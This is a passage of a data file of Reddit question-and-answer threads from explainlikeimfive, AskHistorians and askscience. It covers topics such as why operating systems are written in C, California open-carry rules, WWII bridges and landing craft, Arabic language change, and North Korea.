[strongly against](_URL_1_) having C++ in it). From what I gather, Windows uses both (as C++ can be combined with standard C code). \n\nNow, operating systems are by definition quite 'low level' code. They provide the basic interface between software and hardware. So it's usually desirable then, to have a fine-grained control over what's going on at the hardware level. You'd get the most control if you wrote in machine code (assembly language), but that's entirely machine-specific, and would mean your operating system would have to be completely rewritten to run on different hardware. So you tend to want to strike a balance between something that's higher-level in order to be portable, but low-level enough to give you a lot of control over what's going on. If you write an OS in a high-level language, you're effectively delegating much of that to the compiler program that turns your code into machine code, and to the libraries of the programming language. \n\nWhen it comes to application software, there are other reasons. First, lower-level programming languages have some benefits; it's often possible to write faster code in them (although writing in a low-level language in no way guarantees that your code will be faster). As Tenome pointed out, C++ is quite flexible in that it there are large libraries of existing routines that can be used, which effectively make it a fairly high-level language. \n\nAnother factor is momentum. A lot of existing programs are written in C/C++, and it's seldom worth the effort to rewrite a large program in another language for the relatively small potential benefits. There's also a _lot_ of programmers who know C/C++, and people tend to be a bit unwilling to learn a new programming language because it's better for a particular purpose. If they're new to the language, they might not be able to fully exploit its benefits anyway. Also, if they don't know the language, they may simply be unaware of the potential benefits. \n\nThere's a business side to that, too. It doesn't really matter if programming language X is better for your task, if you can't find programmers who know it! If you can write a program 10% faster in X but have to pay the programmer 20% more because it's a rare skill, that doesn't make good business sense. So economics favors the existing and popular languages. \n\nIf you look at [language popularity statistics](_URL_0_), C and C++ are in the top 3, accompanied in the top 5 by Java and JavaScript, which have relatively similar syntax. Languages like Haskell and Lisp, which are quite different and can do certain things much more simply/elegantly are rather unpopular. So despite the fact that they may be a technically better choice in a lot of situations, they're not necessarily a better business choice.\n\n\n", "Just as a quick note because everyone is correcting your usage of \"C+\" I thought I would explain why it is \"C\" and \"C++\" as \"C+\" is not a language.\n\nIn some programming languages, the usage of \"++\" is used to add 1 to a value. There are a few different ways to add 1 to a value, because that is a pretty common practice (for counting and whatnot), including:\n\na = a + 1\n\na += 1\n\na++\n\nAll of those perform the same task (in the languages that support them [for example, python, a popular modern language, does not support a++])\n\n\nAnyway, back to the point, C++ is a modified version of C that is named as such because it describes C being added to. Just a little tidbit to enhance your knowledge pool.", "C is pretty close to the instructions that your CPU actually executes. The shortest C statements may compile to just one or two instructions, indeed one of the hallmarks of a good instruction set is that it is \"C\" friendly. C supports just the basic things: arithmetic, logic, conditionals, loops, and moving data around, although more complex operations can of course be contained in a function or macro. Operating systems (I'm talking about the kernel here) have to deal with relatively \"primitive\" functions like allocating memory, talking to peripherals, copying blocks of data from one place to another, and speaking network protocols. To implement such tasks requires the developer to be very specific about what the CPU is to do, in order to ensure that those things are done efficiently. For most purposes, C gives effectively the same level of specificity as machine code, and indeed there is very little machine code in a modern OS - usually that is only done where you have to do something special for a particular CPU.\n\nHigher level languages like Perl, Python, Ruby, Java etc provide many more features which make \"userland\" programs easier to write. But they're not very good for writing operating systems because they will always be slower than the same code competently written in a more minimal language like C. But even those higher level languages themselves are usually written in C, just like an OS.\n\nC++ is sort of in the middle. It's not used for kernels as far as I know, but many operating systems use it for higher level but not-quite-application-level stuff like your file browser, print spooler, etc.\n\nSome applications can be painful to write in C. If you're writing an e-commerce system, you don't necessarily care what exact data structure is used or how memory is managed, in which case having to think about pointers and data types can be a huge distraction and a waste of time. But in a kernel you do have to be really explicit, because you are writing the glue that sits between those high level things and the very low level operations of the hardware.\n\nReally your computer runs a whole hierarchy of hardware and software which can be viewed as various tradefoffs between brutal efficiency versus ease of implementing more \"civilized\" tasks. Not that a kernel is unsophisticated, quite the contrary - but it does require extremely high efficiency despite its complexity, which is what makes kernel programming relatively challenging compared to say, web apps.", "First, most operating systems are written in C, not C++.  The reason operating systems are written in C is because it is actually the most powerful language out there, besides things like machine code(the code used directly be the cpu, 1s and 0s).  C was designed to be very fast and work directly with the computer, and also works on almost every.  C++ isn't used, because it is higher level, and requires an operating system already on the computer to perform a lot of tasks.", "Holy shit I got this one so hard. First for everything I suppose. Also, spoiler, the core of the operating system (the kernel) is written in C, with some assembly (C is older then C++, assembly is pretty much going back to the beginning).\n\nFirst, you need to understand the terms \"high-level\" and \"low-level\", and how they related to the computer actually doing what you tell it to do. At the (almost) lowest level is assembly, and you are right there pretty much speaking the language the computer can understand (not quite, but pretty close). There is nothing between you and running processes. Everything you need to get done, you can code it to get done. Every one line of code you write in assembly is literally one instruction the cpu does. If you want the computer to do a very specific thing, in a very specific way, you need to use assembly. This is the highest point of efficiency you can possibly attain. No one has, or will write a more efficient language, just by intrinsic definition. Unfortunately, this takes a shit ton of time and work. You also need to know pretty much every little detail of how pretty much everything works. So they made what is referred to as a \"high-level\" language. This uses (this is the most important term of this entire comment) **abstraction**.\n\nAbstraction is taking a step back from what you are trying to do, writing in a way that is more easily understood by humans, and letting a compiler turn that into something the computer can understand. So you can still do specific things, but exactly how the compiler tells the computer how to do it might get lost in translation. This means inefficiency. It will still get the right answer in the end, but it might take a bit of a more roundabout way then if you told it exactly how to do it. The higher the level of abstraction, the more high-level the language is, which means you are getting further away from actually telling the computer exactly how you want it done. This makes it easier to program large swatches of functionality, but it also means that you are losing control on how efficient your program can be.\n\nPython sits very high up there in this regard, to display something on your screen, the only line you need to write is: \"print 'Hello World!'\". With Python2.x installed on your computer, you save that as _URL_2_ and it will run as a complete program. To do the same in assembly [would be a lot more lines, and a lot harder to read](_URL_1_). And this isn't even really from scratch, it's calling on a lot of Windows functionality.\n\nUp until this point I have been talking about 'compiled languages', that turn into assembly the computer can understand, and then run it. Even more abstract than that is what's called an 'interpreted language', which uses a 'vm' or 'interpreter' to translate this high level of code into a series of commands that the interpreter running on your OS can understand, that it can then do the correct thing. This pretty much precludes you from creating an OS in these languages; they rely on code already running for them to work (I mean, technically you could create a cpu very specifically for this purpose, but it would be completely incompatible with 'normal' programs and OS'es, while still not being as efficent). So anything that needs an interpreter *can't* possibly make an OS, because it needs code running to run your code, and if you write the code for that, then you would need code running to run the code running your code, which would need it's own code to allow that. It's a set of all sets problem. Just a short list of languages that are interpreted: Java, Python, Ruby, Javascript, PHP, LUA.  These all can't create an OS because they need the OS so they can run.\n\nNow, with that said, if you follow along so far, I can in this paragraph why C remains so popular. C is a bridge between high-level and low-level languages. You are brushing against the bare metal of the cpu. You have the advantages of a high level languages in that they can code large a lot of functionality with a little code, but you can also hammer down and pretty much spell out how you want things done when you need to. A lot of languages can't directly address memory, which C can. A lot of languages can't be like \"Give me 20KB of RAM, and I'll use it for whatever I want to\", they are more like \"Can I please have some memory to store some letters? Thank you\". And, when push really comes to shove, you can section off a block of code to actually be written in assembly when you really need to be as efficient as you can get. You can write exactly what you need to, and it comes out exactly as you need it. To write a Windows driver (things like printer drivers, or video card drivers), you literally need to use C. It is the only language that can fill out all the ridiculous requirements that are needed to make a working driver, with the most important being able to create small [page size](_URL_0_) the CPU demands it. Technically C++ can fill the requirements, but you will be jumping through a lot more hoops, and you're already jumping through a lot. It's at this point I hope you can appreciate the joke \"An OS architect changes career paths and starts selling furniture at IKEA. A new shelf they sell uses the wood from driftwood. He labels the box 'Made in C. Some assembly required.\"\n\nC++ sits a step above C. It was designed to provide more high level abstractions on top of C. It actually includes all of C's instructions, but also creates new ones. But, as detailed earlier, when you use these high level abstractions, you are getting further away from direct control. C++ is still very fast, and very efficient, but when you start using some of the new things added, it makes the executable bigger, it makes it a tad slower. If you need to get the speed back, you can still write C in C++ for where it counts, or assembly for where it really really counts, but it's just a tad slower, and it's still a lot better in speed and efficiency then almost all other languages.\n\nI think everyone else went on about how Both C and C++ have been receiving updates, so I will not cover that here.\n\nPlease post questions and comments. Also, if your name is Carl, Fuck you.", "Master's degree in computer science here.\n\nThere's no C+. Programs are written in C or C++.\n\nThe nice thing about C is that you generally get to see everything that's going on. Languages like Java obfuscate what is going on, and are a bit slower, though JIT compilation and fast CPUs make this mostly a moot point. Some people like garbage collection memory allocation systems, too, but there's advantages and disadvantages to it.\n\nThere's good libraries for most things you need to do in C/C++, so the matter of \"more powerful code\" kind of works in reverse - there more stuff available for C/C++ than for pretty much any other language.\n\nThere's only a couple areas where C/C++ shows its age - namely in parallelism (my master's thesis was in HPC) and in certain forms of inheritance and type polymorphism. You can *do* it, but it's clunkier than with more modern languages.", "C is very easy to interface with the raw machine, because you have control of how things are laid out in memory. It is also easy to call ASM from C, and C from ASM.\n\nNote that many OSes are written in C - Linux, ReactOS, and I'll bet many parts of the NT kernel are restricted to their local C flavor.\n\nMost VMs are also written in C++ (note: LuaJIT is written in assembly!) These are applications that must be fanatical about performance; their inefficiency would be multiplied, because we run systems on top of them (other programs and operating systems).\n\nI enjoy that you typed \"C+\", instead of C++, because from my point of view, that's what the majority of \"C++\" programs are - somewhere between C and C++. C++ is ever evolving, and frankly, I don't think any C++ program will *EVER* be \"Bjarne approved\" C++ - using all the highest level features. It takes time for compiler to properly support the new features.\n\nAs for utorrent, it was originally written in a very C-heavy dialect of C++ by a very smart man who was used to writing tight, efficient code. For a person like that, who has such a thorough understanding of the machine, knowing that he was wasting machine cycles would definitely cause him pain.\n\nWhen you are programming, there are lots of kinds of \"power\", but there are two which are very important - how fast your program will run, and how long it will take you to write and debug it. Check this out: _URL_0_\n\nFor the first, almost no language can beat C and C++, although many come close (Ocaml, Java (in certain cases), Haskell). For the second - how fast can you write this program, there is almost nothing worse than C and C++. In fact, in these languages, it is very easy for a novice to actually retard the development of a program - wasting more development time than the benefit they give to the codebase.\n\nHope that was useful!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/11nahj/why_are_programs_and_operating_systems_still/c6o7c9k", "http://www.reddit.com/user/binary_is_better", "http://www.reddit.com/r/askscience/comments/11nahj/why_are_programs_and_operating_systems_still/c6o6q9h"], [], [], [], ["http://langpop.com/", "http://harmful.cat-v.org/software/c++/linus"], [], [], [], ["http://en.wikipedia.org/wiki/Paging", "http://en.wikipedia.org/wiki/Hello_world_program_examples#Assembly_language_.E2.80.93_x86_Windows_32-bit", "xxx.py"], [], ["http://shootout.alioth.debian.org/u32/code-used-time-used-shapes.php"]]}
{"q_id": "1mvck3", "title": "open carry laws in california", "selftext": "I own a firearm and feel like I shouldn't travel with iy and take it out without a better understanding of my rights.\n\nWhat are the rules, expectations and regulations when taking my firearm outside my home?\n\nPlease explain it to me like I am almost 5.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mvck3/eli5_open_carry_laws_in_california/", "answers": {"a_id": ["cccy04t"], "score": [2], "text": ["You cannot open carry any gun in California except at shooting or hunting events, or if you specifically have a permit to carry, such as a permit to carry a concealed weapon. This is for all guns, not just handguns, as laws were recently passed to this effect. This applies to both unloaded and loaded weapons.\n\nYou can transport guns in say the trunk of a car, as long as it is not exposed to the public. You can also transport unloaded guns to/from a car."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tz972", "title": "Could someone give me more information about this (presumably WWII) bridge?", "selftext": "Hi there, \n\nI'm kinda new here, hope my post is okay. \n\nSo here is the deal: \nI work as a \"rural policeman\" in a small municipality near Charleroi in Belgium. Few years ago, some old folks explained to me that there was a bridge left by nazi's somewhere in the wood. Yesterday, during my patrol someplace i've never been before, I've stumble upon what could be the (in)famous bridge!\n\nhere's some pics: \n\n_URL_1_\n_URL_0_\n\nI was kinda excited by that nazi bridge but after some research I think it could be more of a Bailey bridge left by the Allied troops than Nazi one. \n\nWhat is really strange to me is that, at the bottom of the concrete the bridge rest upon, there is three emblem shape hole, like if someone stole what could have been there... \n\nIt doesn't seems logic to me that US or Canadian engineer corps would took the time to carve their emblem in the concrete during a war campaign.\n\nHope someone with WWII history knowledge could help me with this one.\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5tz972/could_someone_give_me_more_information_about_this/", "answers": {"a_id": ["ddqfy0z", "ddqg1fh", "ddqxloy"], "score": [17, 9, 5], "text": ["That doesn't look like a Bailey Bridge to me -- the lower part is made of riveted steel plates, and Allied Bailey Bridges were almost always made entirely with an open-truss framework that extended above the road surface, but not usually very far below the roadbed unless there were intermediate pylons, which appear to be absent.\n\nCan you take a photograph from underneath looking up?\n\nNot a proper historical source, but here's a page with some pictures of baliey bridge varients: _URL_0_\n\nThe large straight-line gusset plate suggests this bridge was intended as a permanent construction for of moderate vehicular traffic, not the sort of the think I would think of military engineers as building.\n\nDisclaimer: I am not a civil engineer.  ", "On further thought, the design rather reminds me of small railroad bridges built in the United State during the 1920s and 1930s.\n\nDo you know if there used to be a railroad right-of-way that used this bridge?", "It looks as if the bridge has room for rail tracks (where there is no metal plating). You can check to see if the width is approximately 1.435 meters, the standard rail gauge, or 1 meter, metre gauge. As you probably know the Charleroi area has a lot of old industry that in the past required rail links, so it might be an old bridge of a disappeared industrial rail connection. Charleroi and the whole Hainaut also had an extensive [Vicinal](_URL_2_) network that sometimes included bridges, tunnels, etc. Other clues of that might be visible on a satellite image (linear tree lines, swerving bike paths (RAVEL), etc.). \n\nIf you post the co\u00f6rdinates I could take a look at some books to see if there was a rail line situated at that spot. You could also contact your local history association or an organisation involved in transport history (for example [ASVi](_URL_1_) or [PFT-TSP](_URL_0_)).\n\n"]}, "title_urls": [], "selftext_urls": ["http://hpics.li/d26bff3", "http://hpics.li/82e0be9"], "answers_urls": [["http://www.thinkdefence.co.uk/2012/01/uk-military-bridging-equipment-the-bailey-bridge/"], [], ["http://www.pfttsp.be/index.php/fr/", "http://www.asvi.be/index/index.htm", "https://en.wikipedia.org/wiki/Vicinal_tramway"]]}
{"q_id": "1w5yl3", "title": "why, though still extremely popular, heavy metal / hard rock is not 'mainstream'?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w5yl3/eli5_why_though_still_extremely_popular_heavy/", "answers": {"a_id": ["ceyzve5"], "score": [2], "text": ["Rock and metal are inherently rebellious, going against the grain of pop trends. In a nutshell, I think that's why."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4cvq2j", "title": "Does anyone know the route to the Sarajevo Hospital?", "selftext": "General Potiorek was right behind me but he seems to have missed the turn. I'm pretty sure you take a right onto Franz Josef Street but maybe the General knows a quicker route? Do any of you happen to know the directions? The Archduke and the Duchess are getting antsy since the commotion at the Appel Quay and lord knows that the Count will be cross with me if I get lost. Hmmm, there appears to be a man approaching from the cafe on the street. Maybe I should ask him for directions? Any help would be most appreciated.\n\n\n\nEDIT: my god what have I done?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4cvq2j/does_anyone_know_the_route_to_the_sarajevo/", "answers": {"a_id": ["d1mnjet"], "score": [4], "text": ["If you're on Franz Josef strasse, take a left at Schiller's Delicatessen to get to Appel Quay. You can't miss."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bsi5ay", "title": "After D-Day, what happened to the amphibious landing crafts?", "selftext": "I'd assume there'd be blood, remains, vomit, and other stuff inside. But aside from it's physical condition, do they return across the channel or something?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/bsi5ay/after_dday_what_happened_to_the_amphibious/", "answers": {"a_id": ["eoniuxq"], "score": [29], "text": ["Small infantry landing craft, like the American LCVP or British LCA, were carried to the beaches by troopships. In British parlance, these were Landing Ships Infantry (LSI), while the American designation was APA (Amphibious Transport, Assault). These ships typically carried their landing craft on davits. The LSI would approach to ~7 miles from the target beach, anchor, and lower the landing craft with the first wave of troops aboard. To be precise, the landing craft would be lowered to a level where troops could board from the ship's deck, before the landing craft were lowered to the water. The landing craft would head to the beach in what was called a 'flight', typically in a column formation. As they closed the beach, they would spread out into line abreast. As they were just about to beach, the crew would drop a small anchor, called a 'kedge'. This held the craft perpendicular to the beach, and allowed the landing craft to 'retract' from the beach. The crew could haul in the anchor to pull it off the beach, as well as reversing the engines. Once it had retracted from the beach, the landing craft would return to the LSI that deployed it, or to another ship if directed to by the beachmaster (the naval officer responsible for directing ship traffic around the beach). Here, more troops would board. They might do this by scrambling down nets from the ship's deck, or the landing craft might be hauled back up. The landing craft would remain off the beachhead until the landing ships were fully unloaded. Replacement crews were available to relieve tired men. If it took a long time to capture a port, the landing craft might remain operating off the beaches as a ship-to-shore ferry, while the landing ships returned to their home port."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5bb6oj", "title": "what is the difference between eastern and western philosophy?", "selftext": "I understand there is some conflict between a Freudian view of the world as conflicting forces on a spectrum and the more holistic ideas of the tao, but what more is there to it? What are the main differences in the major tenets of the philosophies?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5bb6oj/eli5_what_is_the_difference_between_eastern_and/", "answers": {"a_id": ["d9naxou"], "score": [6], "text": ["These are simply too broad to compare meaningfully. Generally speaking though, mainstream western philosophy conerns with justice and individualism, where as eastern philosophies concern with governance and meaningful interaction with other people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5dkufs", "title": "Why has the English Language been so fluid over the recent years, while others have remained relatively stagnant?", "selftext": "I'll be using Arabic as my counter. As far as we know, Arabic at its core has had the same standards of writing as it has had 1500 years ago. The Qur'an, a 1500 year old text, can be read and understood by pretty much any fluent Arab. \n\nYet English, in comparison, has changed quite a bit over the last millennia. Take this, for example--a sample of Old English from around 900 CE:\n\nDrihten me raet, ne byth me nanes godes wan. \n\nAnd he me geset on swythe good feohland.\n\nAnd fedde me be waetera stathum\n\nMeanwhile, reading the Qur'an or other similar texts by Arabic speakers is no harder than an English speaker reading texts from the 20th century. Is there any explanation as to why that is? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5dkufs/why_has_the_english_language_been_so_fluid_over/", "answers": {"a_id": ["da5fd3b", "da5gp1x", "da6lb4t"], "score": [3, 5, 5], "text": ["You might also try /r/linguistics.", " > The Qur'an, a 1500 year old text, can be read and understood by pretty much any fluent Arab. \n\nWhere have you read that? As I understand, it's very hard for modern Arabs to simply pick up and read like any text without any training in or knowledge of the old Arabic it's written in. Perhaps not completely illegible but still very difficult. ", "I've been thinking over your question for the past couple of days, and thinking someone else would come along and answer it, but they haven't, and I think it deserves better than you've got so far. \n\nSo, (1) I recommend you actually repost it on a linguistics sub (such as /r/linguistics or the smaller r/asklinguistics/ - just make sure to read their posting rules).\n\n(2) Here's my answer...\n\nYour question actually has far more to say about Arabic than it does about English. English has experienced considerable linguistic evolution/change over the last 1500 years, but not in any way a suprising degree of change. All languages changes over time, though not always in the same way and definitely not at the same rate. The factors involved can be complex, and I would ad that English in *recent* years has become so fluid because (a) it is a language with *so many speakers*, and (b) a lot of 2nd language speakers, that small 'change effects' get amplified. \n\nWhat about Arabic? I presume you were taught Modern Standard Arabic, and probably write in MSA, though depending on your context there's a good chance you don't speak how you write.\n\nIn any case, there are all sorts of varieties of 'Arabic', and all of them show linguistic evolution from Classical Arabic (the Arabic of the Qu'ran). Even MSA, which self-consciously models itself on the standards of CA, does not adhere to CA in all aspects.\n\nHere's where and why Arabic is a fairly unique cases - the Qu'ran and Islam function as very powerful 'conservative forces' in regards to language. The Qu'ran doesn't get translated, it gets 'interpreted'. If you are serious about Islam, you learn Arabic to read the Qu'ran. And not just any Arabic, you learn the Arabic of the Qu'ran. So for 1500 years there has been a very, very powerful socio-religious force that instills a particular 'standard of language' in almost all Arabic literary education. That applies to 1st language speakers in schools, and 2nd language speakers. It's why MSA remains consistent across countries too. It's a linguistically 'ideal' language.\n\nAnd, it explains why diglossia is so common for Arabic speakers - one language (= version of Arabic) for the Qu'ran, high level literature, government, politics; another language (= version of Arabic) for everyday life. Both get called 'Arabic', but linguistically speaking local dialects of Arabic can deviate very far from MSA.\n\nArabic, then, is the outlier. While there are other languages with high degrees of linguistic conservatism, there are none that I can think of that have it for the same reasons. Certainly, for English there was never a single \"linguistic ideal\" embodied in an unchanging text that required all religious adherents to learn a single-version of English. *That* linguistic force doesn't hold English together.\n\nLike I said, I do suggest cross-posting. I'm very happy to talk about linguistic change/factors in English/Arabic/other languages some more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6svdm7", "title": "Can two stars in a binary system orbit each other so closely that they will heat each others' surfaces and change their spectral type?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6svdm7/can_two_stars_in_a_binary_system_orbit_each_other/", "answers": {"a_id": ["dlg0no2"], "score": [12], "text": ["Yep! It requires a very high temperature difference between the two stars, though, and for them to be very close to contact. Irradiation effects are common in binary systems with high accretion rates onto compact objects like black holes and neutron stars, where more than several thousand times the energy output of the Sun is emitted in X-rays and heats the inner face of the donor star. In some systems, like redback pulsar PSR J1810+1744, the \"day\" side is over twice as hot as the \"night\" side. (That system's irradiation is from strong gamma-ray emission rather than X-ray emission produced from accretion, though.)  Scorpius X-1, the brightest persistent non-solar X-ray source in the sky, also shows evidence of irradiation on the inner face, but the donor star is so hard to see next to the bright accretion disk that it mostly shows up in atomic emission lines originating on the irradiated inner surface of the donor, rather than as a changing spectral type."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2qiu76", "title": "Did Spartan soldiers (or any warrior) actually wear their cloaks in battle?", "selftext": "It seems like there are many depictions of fantasy characters wearing their cloaks while being able to maneuver well in combat. I am curious if there is any truth to this. It seems like it would hinder or put the warrior at a disadvantage. \n(I ask about the Spartans mainly because they are the first cloaked warriors that I can think of). ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qiu76/did_spartan_soldiers_or_any_warrior_actually_wear/", "answers": {"a_id": ["cn6jayn", "cn6xt0q"], "score": [4, 2], "text": ["Trajan's column appears to show some Dacians wearing cloaks in battle, [here.](_URL_0_)  That seems to me to be as close to a primary source as you're going to get on someone wearing a cloak in battle, as many typical battle narratives might well not mention the precise gear of the soldiers, and lists of soldiering gear might not mention if cloaks are for battle use or just for less active parts of soldiering (guard duty and the like, where you could presumably lose the cloak before running into the fight).  \n\n\nI'm making a few assumptions here because this isn't my specialisation: first, that this is a battle (based on the shields the figures at the bottom right have) and not some sort of massacre, and second that those are Dacians (as I understand it, wars with Dacians are the main focus of Trajan's column, and these figures certainly seem to fit some barbarian stereotypes).  \n", "I seem to recall that polybius in his description of a battle with gaesatae stating that those who went into battle naked suffered a lot of pain to projectiles that got past their shield while those wearing thick cloaks were protected against glancing blows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Trajan%27s_Column#mediaviewer/File:032_Conrad_Cichorius,_Die_Reliefs_der_Traianss%C3%A4ule,_Tafel_XXXII.jpg"], []]}
{"q_id": "7kpx4n", "title": "Why is caffeine, a polar molecule, soluble in supercritical carbon dioxide?", "selftext": "I am under the impression that caffeine wouldn't be very soluble in super critical carbon dioxide due to the difference in polarity, yet it a ver popular method for extracting caffeine from coffee beans. Is this something special about supercritical fluids? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7kpx4n/why_is_caffeine_a_polar_molecule_soluble_in/", "answers": {"a_id": ["drgg1gq", "drgyfq7"], "score": [11, 5], "text": ["Caffeine is actually pretty soluble in a lot of nonpolar solvents - another common method for extracting caffeine is to use dichloromethane, a nonpolar solvent that doesn\u2019t mix with water. I would reason that since caffeine lacks significant hydrogen bonding, it doesn\u2019t interact with itself strongly enough to prevent nonpolar solvents from solvating it. \n\nAlso, apparently supercritical fluids are able to penetrate more deeply into the solid coffee beans, so that helps the efficiency of using CO2. But in terms of caffeine solubility, a whole bunch of organic solvents will work just fine.\n\nEdit - wow, thank you for my first ever reddit gold!", "Supercritical fluids, namely CO2 (the most used SF), are not static solvents with a constant polarity. \n\nIf you take Hansen/Hildebrand solubilities, you'll see that organic solvents have solubility parameters that are function of temperature, and that SC-CO2 has a solubility parameter that is a function of pressure and temperature.\n\nThis means that you can adjust the solubility parameter, and typically you can increase it if you increase pressure (or decrease temperature). Any increase of pressure will lead to an increase of density. Then, what happens is that although CO2 is deemed non-polar, it has a large quadrupole that allows it to interact with polar compounds. This interaction is greater if you have a denser medium (more molecules in contact in a given volume).\n\nOn the other hand, and focusing now on caffeine side, any increase of temperature will enhance the solubility of this compounds in a solvent. While for organic solvents the maximum enhancement of solubility is typically limited by the boiling temperature of the solvent, under SC-CO2 there is margin to use a wider range of temperature to boost the solubility of caffeine. Of course, there is also a chance of deterioration of the compound if it is a labile one.\n\nFinally, in the case of coffee decaffeination using SC-CO2, it is also important to bear in mind that, historically, the process has been carried out in wet green coffee beans, and that water plays a role in the process. In fact, the solubility of caffeine in water is about 20 g/L at 20\u00baC, while, for comparison, the palmitic acid (very well solubilized in SC-CO2) has a solubility in water of only 0.04 mg/L."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5g6zl5", "title": "how do military units take sides during a civil war?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5g6zl5/eli5_how_do_military_units_take_sides_during_a/", "answers": {"a_id": ["daq0s69"], "score": [9], "text": ["As a general idea, military units tend to follow their commanders, and commanders tend to follow either who they think is best or who is offering them the best deal (or whatever other kind of loyalty gets them to make a decision). So, a general really thinks the communists are the best will defect to the communists, or a commander who is pretty happy getting paid a lot by the government will stick with the government, and a lot of his soldiers will decide to follow him because \"follow the commander\" is an important part of military discipline. \n\nIn the specific case of the Spanish Civil War, you'll probably get your best answer in /r/askhistorians."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7ti6wv", "title": "what happens when a ship \"runs aground\" and why is it dangerous?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7ti6wv/eli5_what_happens_when_a_ship_runs_aground_and/", "answers": {"a_id": ["dtcoyc5", "dtcp6f5"], "score": [4, 9], "text": ["pretty self explanatory, it hits the floor of the body of water it is in, and the hull is not designed to support the weight of the ship on a focused point like that.", "Running aground is when a ship hits the seabed or some outcropping under the surface. It's basically the ship crashing into the sea floor underneath it. As for why it's dangerous, grounding can damage the hull or even breach the hull, resulting in cargo spills, total loss of the vessel, and, in the worst cases, human casualties. Cargo spills, especially of chemicals or petroleum products, can be disastrous. One of the most well known incidents was when the Exon Valdez ran aground spilling nearly 11 million gallons of oil and created an environmental catastrophe."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "vbyfv", "title": "north korea.", "selftext": "You have a country with a ton of nukes that brainwashes their citizens into this cult, tells everybody how bad and corrupt America is, and it only has one ally.  What, exactly, is this country trying to do with its behavior?  What is it trying to achieve?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vbyfv/eli5_north_korea/", "answers": {"a_id": ["c534qw2", "c535ckr", "c536z0g", "c537kp6", "c53e02j"], "score": [47, 25, 7, 91, 2], "text": ["There is a lot of lingering hate in North Korea from the Korean war. North Koreans ar upset that the US and South Korea didn't want a unified, communist Korea. You'll often hear North Koreans call South Koreans and Americans \"aggressors\" for trying to create a capitalist, unified Korea. They call America hypocritical for allowing countries to enjoy their right to self-determination but not allowing North Korea to do so. As for the military part; it was either Kim Jong Il or Kim Il Sung (I can't remember which one) who introduced the policy of \"Songun,\" meaning, \"military first.\" They have this policy because they want to protect themselves from future American aggression against their communist economic style. They have very thick propaganda because they want to maintain power within the Kim dynasty and the Worker's Party. This also creates a strong feeling of unity between North Koreans which makes them feel secure. Feel free to ask any more questions that you have, thanks for reading.", "Besides what ForrestJH wrote, it doesn't hurt that they've had pretty bizarre, eccentric leaders. \n\nNorth Korea also tends to benefit from a sort of blackmailing strategy. Every time they advanced (or threatened to) their nuclear program, they would have great leverage in negotiation and be able to get things like aid from other countries. They have tested nuclear weapons, but they don't actually have a lot, they are only intermediate-range, and are probably not very reliable.\n\nAs far as their foreign relations go, China is not really so much of an ally these days. South Korea and China are important trade partners now. In a Wikileaks report China was embarrassed for getting caught referring to North Korea as acting like a spoiled child. China is worried about an influx of North Korean refugees should the country collapse or something, but as China is not really ideological these days, the two countries are not as bonded by Communism as they once were. China just kinda keeps up a level of friendliness to be pragmatic and to maintain face.", "Adding to what ruta_skadi added to what ForestJH wrote, the fact that you know North Korea is what they are trying to achieve. North Korea would be just another impoverished country which no one would pay attention to. By having nuclear weapons or the resources to build them they put themselves on the map. They get their voice heard when they request something and people are starting to take them seriously. The U.S. even ships North Korea tons of food to feed its' starving citizens, as long as they stop producing nuclear power to potentially build weapons.They also know that no one wants to venture into North Korea and start a war because they have a strong ally(China who is becoming more hesitant to support North Korea). The rest of world is trying to appease North Korea in hopes that they stop producing nuclear weapons, but North Korea has a great deal of leverage considering no one wants to start a war.They also know the U.N. can't do too much because China (being one of the big 5 in the security council) can and most likely will strike down any bill or agreement that North Korea does not approve of. \nTL;DR-Countries want to avoid war at all costs and are willing to appease North Korea to prevent it. North Korea is basically untouchable, and it knows it.\n", "OK, yes! Finally! I got this.\n\n\nNK is basically the most stone cold gangster on the block. OK, they're down for whatever orders the boss wants to give. Never the brightest, but the most loyal. Think, Wiebe Barksdale.\n\nSo when all this shit jumped off with Lenin and the Russian Revolution, NK was like the little brother to the under-boss. In fact, if you really want to look at things a shade deeper, most of the cold war, the war in Vietnam, the situation in Cuba, etc, etc, etc. all really came as a result of what happened on the Korean peninsula.\n\nThe post-WW2 world was the biggest power vacuum you can imagine. Look at a map from, say, 1680, 1780, 1880, and 1980. Basically what you have is the rise of a whole new generation of street thugs. Younger, colder, and well schooled. The game stayed the same, it just got a whole lot more fierce with the introduction of dawn of industry. You can literally see this by looking at the differences between WW1 and WW2. Sure the trenches were 